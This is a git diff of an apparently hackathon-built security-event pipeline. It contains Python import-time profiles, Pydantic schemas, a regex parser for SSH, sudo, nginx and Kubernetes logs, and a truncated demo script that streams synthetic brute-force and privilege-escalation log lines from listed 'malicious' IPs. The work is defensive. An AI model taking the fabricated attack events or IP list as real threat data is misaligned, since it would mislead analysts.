anyio.lowlevel +import time: 1951994 | 1951994 | anyio._core._tasks +import time: 1648740 | 1648740 | anyio._core._testing +import time: 2905138 | 8528921 | anyio._core._synchronization +import time: 1977363 | 1977363 | anyio.from_thread +import time: 2776118 | 32211579 | anyio.abc +import time: 3376093 | 35587671 | anyio.to_thread +import time: 2728628 | 38316298 | anyio._core._fileio +import time: 1706417 | 1706417 | anyio._core._resources +import time: 1981078 | 1981078 | anyio._core._signals +import time: 1769316 | 1769316 | anyio.streams +import time: 2184608 | 3953923 | anyio.streams.stapled +import time: 2122146 | 2122146 | anyio.streams.tls +import time: 2020791 | 8096859 | anyio._core._sockets +import time: 1971270 | 1971270 | anyio.streams.memory +import time: 1832418 | 3803687 | anyio._core._streams +import time: 1730321 | 1730321 | anyio._core._subprocesses +import time: 2472 | 2472 | zlib +import time: 506 | 506 | compression +import time: 615 | 1121 | compression._common +import time: 938 | 938 | compression._common._streams +import time: 1518 | 1518 | _bz2 +import time: 1022 | 4597 | bz2 +import time: 2335 | 2335 | _lzma +import time: 685 | 3020 | lzma +import time: 1870 | 1870 | _zstd +import time: 555 | 555 | compression.zstd._zstdfile +import time: 1265 | 3689 | compression.zstd +import time: 3862 | 17638 | shutil +import time: 1289 | 1289 | _bisect +import time: 469 | 1758 | bisect +import time: 1372 | 1372 | _random +import time: 907 | 4035 | random +import time: 2252 | 23924 | tempfile +import time: 2268225 | 2292148 | anyio._core._tempfile +import time: 3238935 | 71912203 | anyio diff --git a/import_profile2.txt b/import_profile2.txt new file mode 100644 index 0000000000000000000000000000000000000000..bac853fbc7397d22f781e324b46f2d3a1eaa5ed2 --- /dev/null +++ b/import_profile2.txt @@ -0,0 +1,755 @@ +import time: self [us] | cumulative | imported package +import time: 212 | 212 | _io +import time: 31 | 31 | marshal +import time: 221 | 221 | posix +import time: 601 | 1063 | _frozen_importlib_external +import time: 764 | 764 | time +import time: 223 | 987 | zipimport +import time: 46 | 46 | _codecs +import time: 550 | 595 | codecs +import time: 466 | 466 | encodings.aliases +import time: 738 | 1798 | encodings +import time: 191 | 191 | encodings.utf_8 +import time: 66 | 66 | _signal +import time: 30 | 30 | _abc +import time: 153 | 182 | abc +import time: 44 | 44 | _stat +import time: 89 | 133 | stat +import time: 853 | 853 | _collections_abc +import time: 47 | 47 | errno +import time: 84 | 84 | genericpath +import time: 134 | 263 | posixpath +import time: 528 | 1957 | os +import time: 80 | 80 | _sitebuiltins +import time: 29 | 29 | _types +import time: 279 | 307 | types +import time: 1245 | 1551 | enum +import time: 59 | 59 | _sre +import time: 284 | 284 | re._constants +import time: 336 | 620 | re._parser +import time: 122 | 122 | re._casefix +import time: 365 | 1165 | re._compiler +import time: 89 | 89 | itertools +import time: 124 | 124 | keyword +import time: 66 | 66 | _operator +import time: 269 | 335 | operator +import time: 181 | 181 | reprlib +import time: 47 | 47 | _collections +import time: 735 | 1508 | collections +import time: 46 | 46 | _functools +import time: 682 | 2235 | functools +import time: 172 | 172 | copyreg +import time: 519 | 5641 | re +import time: 714 | 6354 | sitecustomize +import time: 758 | 9149 | site +import time: 197 | 197 | linecache +import time: 320 | 320 | backend +import time: 324 | 644 | backend.app +import time: 361 | 361 | __future__ +import time: 341 | 341 | concurrent +import time: 215 | 215 | io +import time: 927 | 927 | textwrap +import time: 28 | 28 | _contextvars +import time: 571 | 599 | _py_warnings +import time: 341 | 939 | warnings +import time: 418 | 418 | codeop +import time: 336 | 336 | token +import time: 24 | 24 | _tokenize +import time: 990 | 1348 | tokenize +import time: 378 | 378 | _weakrefset +import time: 574 | 952 | weakref +import time: 385 | 1336 | copy +import time: 1276 | 1276 | _ast +import time: 599 | 1874 | ast +import time: 780 | 2653 | annotationlib +import time: 32 | 32 | _opcode +import time: 373 | 373 | _opcode_metadata +import time: 527 | 932 | opcode +import time: 1513 | 2444 | dis +import time: 327 | 327 | importlib +import time: 67 | 394 | importlib.machinery +import time: 2883 | 8373 | inspect +import time: 815 | 10523 | dataclasses +import time: 4873 | 15395 | _colorize +import time: 773 | 773 | contextlib +import time: 884 | 20683 | traceback +import time: 29 | 29 | _string +import time: 487 | 516 | string +import time: 832 | 832 | threading +import time: 33 | 33 | atexit +import time: 1947 | 24223 | logging +import time: 856 | 25079 | concurrent.futures._base +import time: 1011 | 1011 | _interpreters +import time: 607 | 27036 | concurrent.futures +import time: 619 | 619 | _heapq +import time: 411 | 1030 | heapq +import time: 917 | 917 | _socket +import time: 1281 | 2197 | socket +import time: 92 | 92 | _locale +import time: 938 | 1029 | locale +import time: 785 | 785 | signal +import time: 800 | 800 | fcntl +import time: 401 | 401 | msvcrt +import time: 851 | 851 | _posixsubprocess +import time: 843 | 843 | select +import time: 808 | 808 | math +import time: 727 | 1535 | selectors +import time: 914 | 7154 | subprocess +import time: 3555 | 3555 | _ssl +import time: 717 | 717 | _struct +import time: 296 | 1013 | struct +import time: 827 | 827 | binascii +import time: 509 | 2348 | base64 +import time: 2331 | 8234 | ssl +import time: 376 | 376 | asyncio.constants +import time: 266 | 266 | asyncio.coroutines +import time: 324 | 324 | contextvars +import time: 286 | 286 | asyncio.format_helpers +import time: 283 | 283 | asyncio.base_futures +import time: 315 | 315 | asyncio.exceptions +import time: 570 | 570 | asyncio.base_tasks +import time: 888 | 2055 | _asyncio +import time: 666 | 3329 | asyncio.events +import time: 381 | 381 | asyncio.futures +import time: 353 | 353 | asyncio.protocols +import time: 422 | 422 | asyncio.transports +import time: 152 | 152 | asyncio.log +import time: 727 | 1300 | asyncio.sslproto +import time: 176 | 176 | asyncio.mixins +import time: 598 | 774 | asyncio.locks +import time: 411 | 411 | asyncio.queues +import time: 461 | 461 | asyncio.timeouts +import time: 616 | 1488 | asyncio.tasks +import time: 354 | 2615 | asyncio.staggered +import time: 323 | 323 | asyncio.trsock +import time: 1128 | 55714 | asyncio.base_events +import time: 1576 | 1576 | asyncio.graph +import time: 575 | 575 | asyncio.runners +import time: 517 | 517 | asyncio.streams +import time: 389 | 389 | asyncio.subprocess +import time: 320 | 320 | asyncio.taskgroups +import time: 144 | 144 | asyncio.threads +import time: 442 | 442 | asyncio.base_subprocess +import time: 687 | 687 | asyncio.selector_events +import time: 797 | 1925 | asyncio.unix_events +import time: 489 | 61645 | asyncio +import time: 123 | 123 | _winapi +import time: 88 | 88 | nt +import time: 76 | 76 | nt +import time: 97 | 97 | nt +import time: 86 | 86 | nt +import time: 83 | 83 | nt +import time: 71 | 71 | nt +import time: 70 | 70 | nt +import time: 275 | 966 | ntpath +import time: 431 | 431 | fnmatch +import time: 628 | 1058 | glob +import time: 42 | 42 | pwd +import time: 830 | 830 | grp +import time: 84 | 84 | _winapi +import time: 578 | 661 | pathlib._os +import time: 1115 | 4669 | pathlib +import time: 292 | 292 | starlette +import time: 294 | 294 | starlette.status +import time: 31 | 31 | _typing +import time: 2073 | 2104 | typing +import time: 214 | 214 | annotated_doc.main +import time: 212 | 425 | annotated_doc +import time: 157 | 157 | email +import time: 173 | 173 | quopri +import time: 39 | 39 | _datetime +import time: 140 | 178 | datetime +import time: 135 | 135 | urllib +import time: 1151 | 1151 | ipaddress +import time: 2641 | 3927 | urllib.parse +import time: 258 | 258 | email._parseaddr +import time: 391 | 4752 | email.utils +import time: 547 | 547 | email.errors +import time: 226 | 226 | email.quoprimime +import time: 109 | 109 | email.base64mime +import time: 107 | 107 | email.encoders +import time: 203 | 309 | email.charset +import time: 570 | 1212 | email.header +import time: 332 | 1544 | email._policybase +import time: 227 | 227 | email._encoded_words +import time: 122 | 122 | email.iterators +import time: 571 | 8088 | email.message +import time: 1014 | 1014 | _json +import time: 295 | 1309 | json.scanner +import time: 430 | 1738 | json.decoder +import time: 357 | 357 | json.encoder +import time: 223 | 2317 | json +import time: 211 | 211 | anyio._core +import time: 436 | 646 | anyio._core._contextmanagers +import time: 338 | 338 | anyio._core._exceptions +import time: 84 | 84 | sniffio +import time: 215 | 636 | anyio._core._eventloop +import time: 394 | 394 | anyio.abc._eventloop +import time: 543 | 543 | anyio.abc._resources +import time: 203 | 203 | anyio._core._typedattr +import time: 308 | 308 | anyio.abc._tasks +import time: 762 | 1069 | anyio.abc._streams +import time: 583 | 1855 | anyio.abc._sockets +import time: 227 | 227 | anyio.abc._subprocesses +import time: 191 | 191 | anyio.abc._testing +import time: 862 | 862 | anyio.lowlevel +import time: 297 | 297 | anyio._core._tasks +import time: 200 | 200 | anyio._core._testing +import time: 2558 | 3915 | anyio._core._synchronization +import time: 801 | 801 | anyio.from_thread +import time: 275 | 8198 | anyio.abc +import time: 143 | 8341 | anyio.to_thread +import time: 767 | 9108 | anyio._core._fileio +import time: 149 | 149 | anyio._core._resources +import time: 119 | 119 | anyio._core._signals +import time: 135 | 135 | anyio.streams +import time: 884 | 1019 | anyio.streams.stapled +import time: 799 | 799 | anyio.streams.tls +import time: 805 | 2622 | anyio._core._sockets +import time: 1592 | 1592 | anyio.streams.memory +import time: 310 | 1901 | anyio._core._streams +import time: 249 | 249 | anyio._core._subprocesses +import time: 951 | 951 | zlib +import time: 139 | 139 | compression +import time: 183 | 322 | compression._common +import time: 255 | 255 | compression._common._streams +import time: 832 | 832 | _bz2 +import time: 257 | 1664 | bz2 +import time: 1210 | 1210 | _lzma +import time: 248 | 1457 | lzma +import time: 1297 | 1297 | _zstd +import time: 264 | 264 | compression.zstd._zstdfile +import time: 656 | 2217 | compression.zstd +import time: 1205 | 7492 | shutil +import time: 907 | 907 | _bisect +import time: 155 | 1061 | bisect +import time: 2175 | 2175 | _random +import time: 440 | 3675 | random +import time: 446 | 11612 | tempfile +import time: 459 | 12070 | anyio._core._tempfile +import time: 458 | 27954 | anyio +import time: 1470 | 1470 | typing_extensions +import time: 1841 | 1841 | pydantic_core._pydantic_core +import time: 509 | 509 | numbers +import time: 1865 | 2373 | _decimal +import time: 309 | 2682 | decimal +import time: 10803 | 13484 | pydantic_core.core_schema +import time: 722 | 17516 | pydantic_core +import time: 183 | 17698 | pydantic.version +import time: 395 | 18093 | pydantic.warnings +import time: 295 | 18387 | pydantic._migration +import time: 305 | 305 | typing_inspection +import time: 1517 | 1517 | typing_inspection.typing_objects +import time: 1012 | 2832 | typing_inspection.introspection +import time: 432 | 432 | pydantic._internal +import time: 618 | 618 | pydantic._internal._namespace_utils +import time: 1046 | 1663 | pydantic._internal._typing_extra +import time: 509 | 2172 | pydantic._internal._repr +import time: 1101 | 6536 | pydantic.errors +import time: 318 | 25241 | pydantic +import time: 221 | 221 | pydantic._internal._internal_dataclass +import time: 1114 | 1335 | pydantic.aliases +import time: 1114 | 1114 | pydantic.config +import time: 452 | 2900 | pydantic._internal._config +import time: 352 | 352 | pydantic._internal._core_utils +import time: 234 | 234 | pydantic._internal._import_utils +import time: 951 | 1184 | pydantic._internal._utils +import time: 5028 | 6564 | pydantic._internal._decorators +import time: 535 | 535 | pydantic._internal._forward_ref +import time: 635 | 1169 | pydantic._internal._generics +import time: 318 | 318 | pydantic._internal._docs_extraction +import time: 839 | 2325 | pydantic._internal._fields +import time: 616 | 616 | pydantic.plugin +import time: 444 | 1059 | pydantic.plugin._schema_validator +import time: 436 | 1495 | pydantic._internal._mock_val_ser +import time: 1794 | 1794 | fractions +import time: 1247 | 1247 | _uuid +import time: 624 | 1870 | uuid +import time: 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asyncpg.connresource +import time: 1847136 | 3499214 | asyncpg.cursor +import time: 2008134 | 2008134 | asyncpg.introspection +import time: 1904342 | 1904342 | asyncpg.prepared_stmt +import time: 1712126 | 1712126 | asyncpg.serverversion +import time: 3095822 | 3095822 | asyncpg.transaction +import time: 1745360 | 1745360 | asyncpg.utils +import time: 1942470 | 30454322 | asyncpg.connection +import time: 3549338 | 3549338 | asyncpg.pool +import time: 1991602 | 1991602 | asyncpg._version +import time: 2458937 | 38454197 | asyncpg +import time: 3395579 | 87981963 | database.session +import time: 2286066 | 2286066 | services +import time: 1718832 | 4004897 | services.event_hub +import time: 1655167 | 1655167 | redis.observability.config +import time: 394 | 394 | opentelemetry +import time: 100 | 494 | opentelemetry.sdk +import time: 116 | 609 | opentelemetry.sdk.metrics +import time: 2039011 | 2039620 | redis.observability.providers +import time: 1697438 | 5392224 | redis.observability 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redis._parsers.resp3 +import time: 1775535 | 32993192 | redis._parsers +import time: 1807800 | 34800992 | redis._parsers.helpers +import time: 1567829 | 1567829 | redis.auth +import time: 1765331 | 1765331 | redis.auth.err +import time: 1628824 | 4961984 | redis.auth.token +import time: 1609456 | 1609456 | redis.driver_info +import time: 1676164 | 1676164 | redis.credentials +import time: 1702276 | 3378440 | redis.event +import time: 1621253 | 1621253 | redis.asyncio.observability +import time: 1761264 | 3382516 | redis.asyncio.observability.recorder +import time: 1761718 | 1761718 | redis.retry +import time: 1686014 | 3447732 | redis.asyncio.retry +import time: 1716179 | 1716179 | redis.backoff +import time: 3839 | 3839 | _queue +import time: 1597 | 5436 | queue +import time: 1704324 | 1704324 | redis.cache +import time: 1999997 | 3709756 | redis.connection +import time: 1705105 | 23911164 | redis.asyncio.connection +import time: 1652007 | 1652007 | redis.asyncio.lock +import time: 1635674 | 1635674 | redis.crc +import time: 6215 | 6215 | xxhash._xxhash +import time: 1615133 | 1615133 | xxhash.version +import time: 1827362 | 3448709 | xxhash +import time: 1850706 | 1850706 | redis.commands.helpers +import time: 2474674 | 7774088 | redis.commands.core +import time: 1687815 | 1687815 | redis.commands.redismodules +import time: 1707558 | 12805134 | redis.commands.cluster +import time: 1445514 | 1445514 | redis.commands.sentinel +import time: 1666642 | 15917289 | redis.commands +import time: 1737642 | 1737642 | redis.lock +import time: 1709937 | 19364868 | redis.client +import time: 2005978 | 81735007 | redis.asyncio.client +import time: 1811261 | 1811261 | redis.commands.policies +import time: 1815579 | 3626840 | redis.cluster +import time: 4152109 | 7778949 | redis.asyncio.cluster +import time: 1490392 | 1490392 | redis.asyncio.sentinel +import time: 1602809 | 1602809 | redis.asyncio.utils +import time: 1544859 | 94152015 | redis.asyncio +import time: 1700921 | 1700921 | redis.sentinel +import time: 1688055 | 97540989 | redis +import time: 183 | 97541172 | redis.asyncio +import time: 1765156 | 99306328 | services.metrics_store +import time: 1724267 | 1724267 | agents +import time: 1652743 | 1652743 | httpx.__version__ +import time: 661 | 661 | urllib.response +import time: 1606 | 2267 | urllib.error +import time: 3489 | 3489 | _scproxy +import time: 5034 | 10789 | urllib.request +import time: 1554725 | 1554725 | httpx._exceptions +import time: 2798 | 2798 | calendar +import time: 6164 | 8961 | http.cookiejar +import time: 1917425 | 1917425 | httpx._types +import time: 1994654 | 1994654 | httpx._utils +import time: 2434877 | 6346955 | httpx._multipart +import time: 1767287 | 8114241 | httpx._content +import time: 741 | 741 | brotli +import time: 340 | 340 | brotlicffi +import time: 5421 | 5421 | zstandard.backend_c +import time: 2059141 | 2064562 | zstandard +import time: 2417821 | 4483462 | httpx._decoders +import time: 1533879 | 1533879 | httpx._status_codes +import time: 2079089 | 2079089 | httpx._urlparse +import time: 1991621 | 4070709 | httpx._urls +import time: 1861745 | 20072995 | httpx._models +import time: 1930689 | 23569198 | httpx._auth +import time: 1920624 | 1920624 | httpx._config +import time: 1698164 | 1698164 | httpx._transports.base +import time: 1828929 | 3527092 | httpx._transports.asgi +import time: 1689178 | 1689178 | httpx._transports.default +import time: 1793344 | 1793344 | httpx._transports.mock +import time: 1827006 | 1827006 | httpx._transports.wsgi +import time: 1782115 | 10618733 | httpx._transports +import time: 228 | 10618960 | httpx._transports.base +import time: 2055335 | 38164116 | httpx._client +import time: 1728889 | 39893005 | httpx._api +import time: 1355 | 1355 | gettext +import time: 2000199 | 2000199 | click._compat +import time: 1877367 | 1877367 | click.globals +import time: 1999576 | 1999576 | click.utils +import time: 1725378 | 5602320 | click.exceptions +import time: 2046824 | 9649341 | click.types +import time: 1803438 | 1803438 | click._utils +import time: 1997395 | 1997395 | click.parser +import time: 1593538 | 3590932 | click.formatting +import time: 2413730 | 2413730 | click.termui +import time: 2968720 | 20427515 | click.core +import time: 1585358 | 1585358 | click.decorators +import time: 2617303 | 24630175 | click +import time: 1703395 | 1703395 | pygments +import time: 2954326 | 2954326 | pygments.lexers._mapping +import time: 1624231 | 1624231 | pygments.modeline +import time: 2228426 | 2228426 | pygments.plugin +import time: 1695882 | 1695882 | pygments.util +import time: 1791285 | 11997542 | pygments.lexers +import time: 2153836 | 2153836 | rich._extension +import time: 1624720 | 3778556 | rich +import time: 1601934 | 1601934 | rich._null_file +import time: 1700254 | 1700254 | rich.errors +import time: 1647544 | 1647544 | rich.color_triplet +import time: 1584847 | 3232391 | rich.palette +import time: 1632023 | 4864413 | rich._palettes +import time: 1668838 | 1668838 | rich.repr +import time: 1594643 | 1594643 | rich.terminal_theme +import time: 1808419 | 9936311 | rich.color +import time: 2160248 | 12096558 | rich.style +import time: 1808042 | 13904600 | rich.default_styles +import time: 1697379 | 1697379 | rich.theme +import time: 1694806 | 17296784 | rich.themes +import time: 1399105 | 1399105 | rich._emoji_replace +import time: 1616051 | 1616051 | rich._export_format +import time: 1690324 | 1690324 | rich._fileno +import time: 1554240 | 1554240 | rich._loop +import time: 1677107 | 1677107 | rich._pick +import time: 1654189 | 1654189 | rich._unicode_data._versions +import time: 1952314 | 3606503 | rich._unicode_data +import time: 1762430 | 5368933 | rich.cells +import time: 1687265 | 7056197 | rich._wrap +import time: 2000915 | 2000915 | rich.segment +import time: 1438061 | 3438975 | rich.jupyter +import time: 1471580 | 1471580 | rich.protocol +import time: 1533416 | 3004995 | rich.measure +import time: 1638438 | 8082407 | rich.constrain +import time: 1631104 | 9713511 | rich.align +import time: 1693030 | 1693030 | rich.containers +import time: 1682534 | 1682534 | rich.control +import time: 1550000 | 1550000 | rich.emoji +import time: 2080348 | 27006964 | rich.text +import time: 1690509 | 28697472 | rich._log_render +import time: 1696440 | 1696440 | rich.highlighter +import time: 1641789 | 1641789 | rich.markup +import time: 1649209 | 1649209 | rich.pager +import time: 1617503 | 1617503 | rich.region diff --git a/models/__init__.py b/models/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..f9a363ea25c91bf8203ea9e1d24d6ff9bd48c195 --- /dev/null +++ b/models/__init__.py @@ -0,0 +1 @@ +"""Shared schemas.""" diff --git a/models/schemas.py b/models/schemas.py new file mode 100644 index 0000000000000000000000000000000000000000..bab777a20da858374daab70adb71f66d6940e193 --- /dev/null +++ b/models/schemas.py @@ -0,0 +1,168 @@ +"""Shared Pydantic schemas for SentinelAI event pipeline.""" + +from __future__ import annotations + +from datetime import datetime, timezone +from enum import Enum +from typing import Any, Optional +from uuid import UUID, uuid4 + +from pydantic import BaseModel, Field + + +def _utc_now() -> datetime: + return datetime.now(timezone.utc) + + +class Severity(str, Enum): + CRITICAL = "critical" + HIGH = "high" + MEDIUM = "medium" + LOW = "low" + INFO = "info" + + +class AgentStatus(str, Enum): + IDLE = "idle" + RUNNING = "running" + COMPLETE = "complete" + ERROR = "error" + + +class RawLogIngest(BaseModel): + """Payload for /ingest-logs from collectors or demo scripts.""" + + source: str = Field(..., description="collector id, e.g. ssh, nginx, k8s") + raw_line: str + metadata: dict[str, Any] = Field(default_factory=dict) + + +class SecurityEvent(BaseModel): + """Unified security event after parse + normalize.""" + + id: UUID = Field(default_factory=uuid4) + timestamp: datetime + event_type: str + source_ip: Optional[str] = None + host: str = "unknown" + severity: Severity = Severity.INFO + message: str = "" + raw: dict[str, Any] = Field(default_factory=dict) + normalized: dict[str, Any] = Field(default_factory=dict) + + +class EnrichedEvent(SecurityEvent): + """Event with threat intel enrichment.""" + + enrichment: dict[str, Any] = Field(default_factory=dict) + + +class DetectionFinding(BaseModel): + """Output from threat detection agent.""" + + id: UUID = Field(default_factory=uuid4) + event_id: UUID + technique: str + description: str + confidence: float = Field(ge=0, le=1) + mitre_technique: Optional[str] = None + severity: Severity + + +class IncidentNode(BaseModel): + event_id: UUID + label: str + timestamp: datetime + + +class IncidentEdge(BaseModel): + source: UUID + target: UUID + relation: str + + +class Incident(BaseModel): + """Correlated attack chain.""" + + id: UUID = Field(default_factory=uuid4) + title: str + summary: str + nodes: list[IncidentNode] = Field(default_factory=list) + edges: list[IncidentEdge] = Field(default_factory=list) + timeline: list[dict[str, Any]] = Field(default_factory=list) + created_at: datetime = Field(default_factory=_utc_now) + + +class RiskAssessment(BaseModel): + incident_id: UUID + risk_score: float = Field(ge=0, le=100) + severity: Severity + confidence: float = Field(ge=0, le=1) + factors: dict[str, Any] = Field(default_factory=dict) + + +class AnalystReport(BaseModel): + incident_id: UUID + executive_summary: str + technical_analysis: str + investigation_notes: str + indicators: list[str] = Field(default_factory=list) + recommended_actions: list[str] = Field( + default_factory=list, + description="SOC-style remediation bullets (block IP, rotate creds, etc.)", + ) + + +class RemediationPlan(BaseModel): + incident_id: UUID + actions: list[dict[str, Any]] = Field(default_factory=list) + firewall_rules: list[str] = Field(default_factory=list) + scripts: list[str] = Field(default_factory=list) + k8s_patches: list[str] = Field(default_factory=list) + iam_hardening: list[str] = Field(default_factory=list) + + +class AlertPayload(BaseModel): + channel: str = Field(..., description="slack|discord|email|teams|webhook") + title: str + body: str + severity: Severity + metadata: dict[str, Any] = Field(default_factory=dict) + + +class DashboardMetrics(BaseModel): + threats_detected: int = 0 + active_incidents: int = 0 + blocked_attacks: int = 0 + events_per_minute: float = 0 + top_countries: list[dict[str, Any]] = Field(default_factory=list) + risk_trend: list[dict[str, Any]] = Field(default_factory=list) + remediation_success_rate: float = 0.94 + attack_frequency: list[dict[str, Any]] = Field(default_factory=list) + + +class AgentActivity(BaseModel): + agent: str + status: AgentStatus + detail: str = "" + updated_at: datetime = Field(default_factory=_utc_now) + + +class IncidentActionBody(BaseModel): + incident_id: UUID + + +class ReplayStartBody(BaseModel): + delay_ms: int = Field(default=450, ge=50, le=10_000, description="Delay between replay frames") + + +class WorkflowState(BaseModel): + """Shared LangGraph-style state bag.""" + + events: list[EnrichedEvent] = Field(default_factory=list) + findings: list[DetectionFinding] = Field(default_factory=list) + incidents: list[Incident] = Field(default_factory=list) + risks: list[RiskAssessment] = Field(default_factory=list) + reports: list[AnalystReport] = Field(default_factory=list) + remediations: list[RemediationPlan] = Field(default_factory=list) + alerts_sent: list[str] = Field(default_factory=list) diff --git a/parsers/__init__.py b/parsers/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..61d2112ae9cd352f10e278c871ee7f733074c2f3 --- /dev/null +++ b/parsers/__init__.py @@ -0,0 +1 @@ +"""Parsing and normalization helpers.""" diff --git a/parsers/parser_agent.py b/parsers/parser_agent.py new file mode 100644 index 0000000000000000000000000000000000000000..b73e69a484f4387d8b3a547446fabe7c9c420518 --- /dev/null +++ b/parsers/parser_agent.py @@ -0,0 +1,157 @@ +"""Parser agent: raw logs -> structured SecurityEvent.""" + +from __future__ import annotations + +import json +import re +from datetime import datetime, timezone +from typing import Any + +from models.schemas import RawLogIngest, SecurityEvent, Severity + + +_SSH_FAIL = re.compile( + r"^(?P\w+\s+\d+\s+\d+:\d+:\d+).+sshd.*Failed password for (?:invalid user )?(?P\S+) from (?P[\d.]+)" +) +_SSH_OK = re.compile( + r"^(?P\w+\s+\d+\s+\d+:\d+:\d+).+sshd.*Accepted (?P\S+) for (?P\S+) from (?P[\d.]+)" +) +_SUDO = re.compile( + r"^(?P\w+\s+\d+\s+\d+:\d+:\d+).+sudo.+USER=(?P\S+).+COMMAND=(?P.+)" +) +_NGINX = re.compile( + r'^(?P[\d.]+).+\[(?P[^\]]+)\]."(?P\S+)\s+(?P\S+).*" (?P\d+)' +) +_K8S = re.compile(r"type=(?P\S+)\s+reason=(?P\S+).*name=(?P\S+)") + + +def _parse_ts_ssh(s: str) -> datetime: + """Best-effort parse for auth.log style timestamps (current year).""" + now = datetime.now(timezone.utc) + try: + dt = datetime.strptime(f"{now.year} {s}", "%Y %b %d %H:%M:%S") + return dt.replace(tzinfo=timezone.utc) + except ValueError: + return now + + +def parse_raw(ingest: RawLogIngest) -> SecurityEvent: + line = ingest.raw_line.strip() + meta = ingest.metadata or {} + + if ingest.source == "json" or line.startswith("{"): + try: + data = json.loads(line) + sev_raw = str(data.get("severity", "info")).lower() + try: + sev = Severity(sev_raw) + except ValueError: + sev = Severity.INFO + return SecurityEvent( + timestamp=_parse_iso(data.get("timestamp")), + event_type=str(data.get("event_type", "generic")), + source_ip=data.get("source_ip"), + host=str(data.get("host", meta.get("host", "unknown"))), + severity=sev, + message=str(data.get("message", line)), + raw={"source": ingest.source, "line": line}, + normalized=data, + ) + except json.JSONDecodeError: + pass + + m = _SSH_FAIL.search(line) + if m: + return SecurityEvent( + timestamp=_parse_ts_ssh(m.group("ts")), + event_type="auth.ssh_failed", + source_ip=m.group("ip"), + host=meta.get("host", "edge-01"), + severity=Severity.MEDIUM, + message=f"Failed SSH for {m.group('user')} from {m.group('ip')}", + raw={"source": ingest.source, "line": line}, + normalized={"user": m.group("user")}, + ) + + m = _SSH_OK.search(line) + if m: + return SecurityEvent( + timestamp=_parse_ts_ssh(m.group("ts")), + event_type="auth.ssh_success", + source_ip=m.group("ip"), + host=meta.get("host", "edge-01"), + severity=Severity.LOW, + message=f"Accepted SSH for {m.group('user')} via {m.group('method')}", + raw={"source": ingest.source, "line": line}, + normalized={"user": m.group("user"), "method": m.group("method")}, + ) + + m = _SUDO.search(line) + if m: + return SecurityEvent( + timestamp=_parse_ts_ssh(m.group("ts")), + event_type="privilege.sudo", + source_ip=meta.get("source_ip"), + host=meta.get("host", "edge-01"), + severity=Severity.HIGH, + message=f"sudo escalation to {m.group('target')}: {m.group('cmd')[:120]}", + raw={"source": ingest.source, "line": line}, + normalized={"target_user": m.group("target"), "command": m.group("cmd")}, + ) + + m = _NGINX.search(line) + if m: + code = int(m.group("code")) + sev = Severity.HIGH if code in (401, 403) else Severity.INFO + return SecurityEvent( + timestamp=_parse_nginx_date(m.group("date")), + event_type="web.request", + source_ip=m.group("ip"), + host=meta.get("host", "web-01"), + severity=sev, + message=f"{m.group('method')} {m.group('path')} -> {code}", + raw={"source": ingest.source, "line": line}, + normalized={"path": m.group("path"), "status": code}, + ) + + m = _K8S.search(line) + if m: + return SecurityEvent( + timestamp=datetime.now(timezone.utc), + event_type="k8s.event", + source_ip=None, + host=meta.get("host", "k8s-api"), + severity=Severity.MEDIUM, + message=f"K8s {m.group('type')} {m.group('reason')} {m.group('name')}", + raw={"source": ingest.source, "line": line}, + normalized={"k8s_type": m.group("type"), "reason": m.group("reason")}, + ) + + return SecurityEvent( + timestamp=datetime.now(timezone.utc), + event_type="generic.syslog", + source_ip=meta.get("source_ip"), + host=meta.get("host", "unknown"), + severity=Severity.INFO, + message=line[:512], + raw={"source": ingest.source, "line": line}, + normalized={}, + ) + + +def _parse_iso(ts: Any) -> datetime: + if ts is None: + return datetime.now(timezone.utc) + if isinstance(ts, datetime): + return ts if ts.tzinfo else ts.replace(tzinfo=timezone.utc) + try: + return datetime.fromisoformat(str(ts).replace("Z", "+00:00")) + except ValueError: + return datetime.now(timezone.utc) + + +def _parse_nginx_date(s: str) -> datetime: + try: + return datetime.strptime(s.split()[0], "%d/%b/%Y:%H:%M:%S").replace(tzinfo=timezone.utc) + except (ValueError, IndexError): + return datetime.now(timezone.utc) diff --git a/requirements-optional.txt b/requirements-optional.txt new file mode 100644 index 0000000000000000000000000000000000000000..ad11c652da5ff93f2ea9977bd4ff32c254c6f528 --- /dev/null +++ b/requirements-optional.txt @@ -0,0 +1,2 @@ +# Optional: vector memory (install inside Python 3.12 ROCm / CUDA images for best wheel support) +chromadb>=0.5.0 diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000000000000000000000000000000000000..b2d62bd119583a7c033f658b094073a8445a0a87 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,16 @@ +# Core API + pipeline (Python 3.11–3.13 recommended for local dev; 3.14 can take minutes on cold FastAPI import) +fastapi[standard]>=0.115.0 +uvicorn[standard]>=0.32.0 +sqlalchemy[asyncio]>=2.0.36 +asyncpg>=0.29.0 +redis>=5.0.0 +httpx>=0.27.0 +pydantic>=2.11.0 +pydantic-settings>=2.6.0 +langgraph>=0.2.50 +langchain-core>=0.3.20 +python-multipart>=0.0.9 +watchdog>=4.0.0 +docker>=7.0.0 +kubernetes>=29.0.0 +boto3>=1.34.0 diff --git a/scripts/continuous_demo.py b/scripts/continuous_demo.py new file mode 100644 index 0000000000000000000000000000000000000000..c004b49a693fa71921381201432d4e6be706e2d6 --- /dev/null +++ b/scripts/continuous_demo.py @@ -0,0 +1,92 @@ +#!/usr/bin/env python3 +""" +Continuous hackathon demo: streams synthetic SSH brute-force + escalation lines to /ingest-logs. + +Usage: + SENTINEL_API=http://127.0.0.1:8000 python scripts/continuous_demo.py + DEMO_INTERVAL_SEC=2.5 python scripts/continuous_demo.py +""" + +from __future__ import annotations + +import os +import random +import sys +import time +from datetime import datetime, timezone + +import httpx + +API = os.getenv("SENTINEL_API", "http://127.0.0.1:8000") +INTERVAL = float(os.getenv("DEMO_INTERVAL_SEC", "2.0")) +MALICIOUS_IPS = [ + "185.220.101.44", + "45.33.32.156", + "203.0.113.77", + "198.51.100.23", + "192.0.2.50", +] + + +def _ssh_fail(ip: str, user: str) -> str: + ts = datetime.now(timezone.utc).strftime("%b %d %H:%M:%S") + return f"{ts} demo-host sshd[{random.randint(1000, 9999)}]: Failed password for invalid user {user} from {ip} port 22 ssh2" + + +def _ssh_ok(ip: str, user: str) -> str: + ts = datetime.now(timezone.utc).strftime("%b %d %H:%M:%S") + return f"{ts} demo-host sshd[{random.randint(1000, 9999)}]: Accepted publickey for {user} from {ip} port 22 ssh2" + + +def _sudo_escalation(user: str) -> str: + ts = datetime.now(timezone.utc).strftime("%b %d %H:%M:%S") + return ( + f"{ts} demo-host sudo: {user} : TTY=pts/0 ; USER=root ; " + 